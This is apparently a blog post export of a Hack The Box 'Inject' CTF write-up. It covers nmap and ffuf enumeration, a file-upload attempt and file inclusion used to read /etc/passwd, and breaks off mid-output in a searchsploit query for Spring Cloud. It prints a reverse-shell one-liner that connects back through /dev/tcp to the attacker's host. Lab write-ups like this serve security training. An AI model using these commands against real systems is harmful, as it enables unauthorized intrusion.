{"id":3092,"date":"2023-06-14T08:00:00","date_gmt":"2023-06-14T06:00:00","guid":{"rendered":"https:\/\/hardsoftsecurity.es\/?p=3092"},"modified":"2023-06-10T17:47:37","modified_gmt":"2023-06-10T15:47:37","slug":"hack-the-box-inject-write-up","status":"publish","type":"post","link":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/06\/14\/hack-the-box-inject-write-up\/","title":{"rendered":"Hack The Box | Inject | Write Up"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Just tackled the &#8216;Inject&#8217; machine on #HackTheBox. Loved the exploration of high ports and the challenge of the injection exploitation! If you&#8217;re into #CTF, this is a must try! \ud83d\ude80 #CyberSecurity #PenTesting #EthicalHacking #InfoSec<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img data-recalc-dims=\"1\" fetchpriority=\"high\" decoding=\"async\" width=\"800\" height=\"685\" data-attachment-id=\"3116\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/06\/14\/hack-the-box-inject-write-up\/image-15-4\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-15.png?fit=1396%2C1196&amp;ssl=1\" data-orig-size=\"1396,1196\" data-comments-opened=\"1\" data-image-title=\"image-15\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-15.png?fit=800%2C685&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-15.png?resize=800%2C685&#038;ssl=1\" alt=\"\" class=\"wp-image-3116\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-15.png?w=1396&amp;ssl=1 1396w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-15.png?resize=300%2C257&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-15.png?resize=768%2C658&amp;ssl=1 768w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<!--more-->\n\n\n\n<p class=\"wp-block-paragraph\">The first step we will do is perform our Nmap scan:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u2514\u2500$ sudo nmap -sT -n -Pn -sV -T4 -vv 10.10.11.204<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>PORT     STATE SERVICE     REASON  VERSION\n22\/tcp   open  ssh         syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)\n8080\/tcp open  nagios-nsca syn-ack Nagios NSCA\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">We can see some interesting information. We have found the port \u201c8080\u201d with the service \u201cNagios NSCA\u201d. In this point we can try to search more information about this service. Let\u2019s check with our navigator this application:<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img data-recalc-dims=\"1\" decoding=\"async\" width=\"800\" height=\"390\" data-attachment-id=\"3093\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/06\/14\/hack-the-box-inject-write-up\/untitled-1-2\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-1.png?fit=1840%2C897&amp;ssl=1\" data-orig-size=\"1840,897\" data-comments-opened=\"1\" data-image-title=\"Untitled-1\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-1.png?fit=800%2C390&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-1.png?resize=800%2C390&#038;ssl=1\" alt=\"\" class=\"wp-image-3093\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-1.png?w=1840&amp;ssl=1 1840w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-1.png?resize=300%2C146&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-1.png?resize=768%2C374&amp;ssl=1 768w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-1.png?resize=1536%2C749&amp;ssl=1 1536w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-1.png?w=1600&amp;ssl=1 1600w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">We can see is a kind of application to give us a storage service. However, we can see more information in this application:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img data-recalc-dims=\"1\" decoding=\"async\" width=\"800\" height=\"245\" data-attachment-id=\"3094\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/06\/14\/hack-the-box-inject-write-up\/untitled-2-1-2\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-2-1.png?fit=1833%2C562&amp;ssl=1\" data-orig-size=\"1833,562\" data-comments-opened=\"1\" data-image-title=\"Untitled-2-1\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-2-1.png?fit=800%2C245&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-2-1.png?resize=800%2C245&#038;ssl=1\" alt=\"\" class=\"wp-image-3094\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-2-1.png?w=1833&amp;ssl=1 1833w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-2-1.png?resize=300%2C92&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-2-1.png?resize=768%2C235&amp;ssl=1 768w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-2-1.png?resize=1536%2C471&amp;ssl=1 1536w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-2-1.png?w=1600&amp;ssl=1 1600w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">In the blog section, we can see two possible user \u201cadmin\u201d and \u201cBrandon Auger\u201d. Let\u2019s see more parts of the application:<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"245\" data-attachment-id=\"3095\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/06\/14\/hack-the-box-inject-write-up\/untitled-3-1-2\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-3-1.png?fit=1833%2C562&amp;ssl=1\" data-orig-size=\"1833,562\" data-comments-opened=\"1\" data-image-title=\"Untitled-3-1\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-3-1.png?fit=800%2C245&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-3-1.png?resize=800%2C245&#038;ssl=1\" alt=\"\" class=\"wp-image-3095\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-3-1.png?w=1833&amp;ssl=1 1833w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-3-1.png?resize=300%2C92&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-3-1.png?resize=768%2C235&amp;ssl=1 768w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-3-1.png?resize=1536%2C471&amp;ssl=1 1536w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-3-1.png?w=1600&amp;ssl=1 1600w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">We have found \u201cUpload files\u201d function, might be it is a way to exploit some reverse shell. Also, we can found another function in this site about \u201cSign Up\u201d button:<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"245\" data-attachment-id=\"3096\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/06\/14\/hack-the-box-inject-write-up\/untitled-4-1-2\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-4-1.png?fit=1833%2C562&amp;ssl=1\" data-orig-size=\"1833,562\" data-comments-opened=\"1\" data-image-title=\"Untitled-4-1\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-4-1.png?fit=800%2C245&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-4-1.png?resize=800%2C245&#038;ssl=1\" alt=\"\" class=\"wp-image-3096\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-4-1.png?w=1833&amp;ssl=1 1833w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-4-1.png?resize=300%2C92&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-4-1.png?resize=768%2C235&amp;ssl=1 768w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-4-1.png?resize=1536%2C471&amp;ssl=1 1536w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-4-1.png?w=1600&amp;ssl=1 1600w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">We can try to enumerate more directories with \u201cffuf\u201d:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo ffuf -w \/usr\/share\/dirb\/wordlists\/common.txt -u &lt;http:\/\/10.10.11.204:8080\/FUZZ&gt; -v<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>&#91;Status: 200, Size: 5371, Words: 1861, Lines: 113, Duration: 90ms]\n| URL | &lt;http:\/\/10.10.11.204:8080\/blogs&gt;\n    * FUZZ: blogs\n\n&#91;Status: 500, Size: 106, Words: 3, Lines: 1, Duration: 432ms]\n| URL | &lt;http:\/\/10.10.11.204:8080\/error&gt;\n    * FUZZ: error\n\n&#91;Status: 500, Size: 712, Words: 27, Lines: 1, Duration: 481ms]\n| URL | &lt;http:\/\/10.10.11.204:8080\/environment&gt;\n    * FUZZ: environment\n\n&#91;Status: 200, Size: 5654, Words: 1053, Lines: 104, Duration: 193ms]\n| URL | &lt;http:\/\/10.10.11.204:8080\/register&gt;\n    * FUZZ: register\n\n&#91;Status: 200, Size: 1857, Words: 513, Lines: 54, Duration: 33ms]\n| URL | &lt;http:\/\/10.10.11.204:8080\/upload&gt;\n    * FUZZ: upload<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Apparently, we don\u2019t found more directories. We will try to upload some file through the functionality discovered and then capture the request with our burp suite:<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"149\" data-attachment-id=\"3097\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/06\/14\/hack-the-box-inject-write-up\/untitled-5-1-2\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-5-1.png?fit=1917%2C356&amp;ssl=1\" data-orig-size=\"1917,356\" data-comments-opened=\"1\" data-image-title=\"Untitled-5-1\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-5-1.png?fit=800%2C149&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-5-1.png?resize=800%2C149&#038;ssl=1\" alt=\"\" class=\"wp-image-3097\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-5-1.png?w=1917&amp;ssl=1 1917w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-5-1.png?resize=300%2C56&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-5-1.png?resize=768%2C143&amp;ssl=1 768w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-5-1.png?resize=1536%2C285&amp;ssl=1 1536w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-5-1.png?w=1600&amp;ssl=1 1600w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Let\u2019s try to upload a \u201cjpeg\u201d file. We will see our request in burp suite:<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"471\" data-attachment-id=\"3098\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/06\/14\/hack-the-box-inject-write-up\/untitled-6-1-2\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-6-1.png?fit=1624%2C956&amp;ssl=1\" data-orig-size=\"1624,956\" data-comments-opened=\"1\" data-image-title=\"Untitled-6-1\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-6-1.png?fit=800%2C471&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-6-1.png?resize=800%2C471&#038;ssl=1\" alt=\"\" class=\"wp-image-3098\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-6-1.png?w=1624&amp;ssl=1 1624w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-6-1.png?resize=300%2C177&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-6-1.png?resize=768%2C452&amp;ssl=1 768w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-6-1.png?resize=1536%2C904&amp;ssl=1 1536w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Before upload the \u201cjpeg\u201d file I have tried some files but it didn\u2019t works. After forward our request we will see the response and finally discover something interesting:<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"137\" data-attachment-id=\"3099\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/06\/14\/hack-the-box-inject-write-up\/untitled-7-1-2\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-7-1.png?fit=1435%2C245&amp;ssl=1\" data-orig-size=\"1435,245\" data-comments-opened=\"1\" data-image-title=\"Untitled-7-1\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-7-1.png?fit=800%2C137&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-7-1.png?resize=800%2C137&#038;ssl=1\" alt=\"\" class=\"wp-image-3099\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-7-1.png?w=1435&amp;ssl=1 1435w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-7-1.png?resize=300%2C51&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-7-1.png?resize=768%2C131&amp;ssl=1 768w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">We have found the function that the application use to show us our uploaded files:<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"554\" data-attachment-id=\"3100\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/06\/14\/hack-the-box-inject-write-up\/untitled-8-2\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-8.png?fit=941%2C652&amp;ssl=1\" data-orig-size=\"941,652\" data-comments-opened=\"1\" data-image-title=\"Untitled-8\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-8.png?fit=800%2C554&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-8.png?resize=800%2C554&#038;ssl=1\" alt=\"\" class=\"wp-image-3100\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-8.png?w=941&amp;ssl=1 941w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-8.png?resize=300%2C208&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-8.png?resize=768%2C532&amp;ssl=1 768w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Now, we will try to upload some reverse shell and modify through burp suite our request to bypass the restrictions. First, we will need to turn on our listen server with netcat:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo nc -nlvp 4444<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Now, we will create a new file with this content:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sh -i &gt;&amp; \/dev\/tcp\/10.10.16.38\/4444 0&gt;&amp;1<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Now, we will try to upload this file but we will need to modify our request with burp suite (extension of the file):<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"497\" data-attachment-id=\"3101\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/06\/14\/hack-the-box-inject-write-up\/untitled-9-2\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-9.png?fit=829%2C515&amp;ssl=1\" data-orig-size=\"829,515\" data-comments-opened=\"1\" data-image-title=\"Untitled-9\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-9.png?fit=800%2C497&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-9.png?resize=800%2C497&#038;ssl=1\" alt=\"\" class=\"wp-image-3101\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-9.png?w=829&amp;ssl=1 829w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-9.png?resize=300%2C186&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-9.png?resize=768%2C477&amp;ssl=1 768w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">But apparently is not working:<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"166\" data-attachment-id=\"3102\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/06\/14\/hack-the-box-inject-write-up\/untitled-10-2\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-10.png?fit=1503%2C311&amp;ssl=1\" data-orig-size=\"1503,311\" data-comments-opened=\"1\" data-image-title=\"Untitled-10\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-10.png?fit=800%2C166&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-10.png?resize=800%2C166&#038;ssl=1\" alt=\"\" class=\"wp-image-3102\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-10.png?w=1503&amp;ssl=1 1503w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-10.png?resize=300%2C62&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-10.png?resize=768%2C159&amp;ssl=1 768w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">If we analyzing the url we can see that probable we can exploit it with file inclusion:<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"209\" data-attachment-id=\"3103\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/06\/14\/hack-the-box-inject-write-up\/untitled-11-3\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-11.png?fit=1667%2C435&amp;ssl=1\" data-orig-size=\"1667,435\" data-comments-opened=\"1\" data-image-title=\"Untitled-11\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-11.png?fit=800%2C209&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-11.png?resize=800%2C209&#038;ssl=1\" alt=\"\" class=\"wp-image-3103\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-11.png?w=1667&amp;ssl=1 1667w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-11.png?resize=300%2C78&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-11.png?resize=768%2C200&amp;ssl=1 768w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-11.png?resize=1536%2C401&amp;ssl=1 1536w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-11.png?w=1600&amp;ssl=1 1600w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">We can see the application is vulnerable to file inclusion. Let\u2019s see if we can check \u201c\/etc\/passwd\u201d file:<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"435\" data-attachment-id=\"3104\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/06\/14\/hack-the-box-inject-write-up\/untitled-12-2\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-12.png?fit=1667%2C906&amp;ssl=1\" data-orig-size=\"1667,906\" data-comments-opened=\"1\" data-image-title=\"Untitled-12\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-12.png?fit=800%2C435&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-12.png?resize=800%2C435&#038;ssl=1\" alt=\"\" class=\"wp-image-3104\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-12.png?w=1667&amp;ssl=1 1667w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-12.png?resize=300%2C163&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-12.png?resize=768%2C417&amp;ssl=1 768w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-12.png?resize=1536%2C835&amp;ssl=1 1536w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-12.png?w=1600&amp;ssl=1 1600w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">We have discovered the users \u201cfrank\u201d and \u201cphil\u201d. We need to enumerate more, let\u2019s see what we can found. If we still searching through the different directories we will see the file \u201cpom.xml\u201d:<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"435\" data-attachment-id=\"3105\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/06\/14\/hack-the-box-inject-write-up\/untitled-13-2\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-13.png?fit=1667%2C906&amp;ssl=1\" data-orig-size=\"1667,906\" data-comments-opened=\"1\" data-image-title=\"Untitled-13\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-13.png?fit=800%2C435&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-13.png?resize=800%2C435&#038;ssl=1\" alt=\"\" class=\"wp-image-3105\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-13.png?w=1667&amp;ssl=1 1667w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-13.png?resize=300%2C163&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-13.png?resize=768%2C417&amp;ssl=1 768w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-13.png?resize=1536%2C835&amp;ssl=1 1536w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-13.png?w=1600&amp;ssl=1 1600w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This file give us a lot of information but we can see something interesting and is the technology that\u2019s using \u201corg.springframework.cloud\u201d. After receive this information we can search if exists some exploit for this technology:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u2514\u2500$ searchsploit spring cloud<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------\n Exploit Title                                                                                                                                                                                            |  Path\n---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------\nSpring Cloud Config 2.1.x - 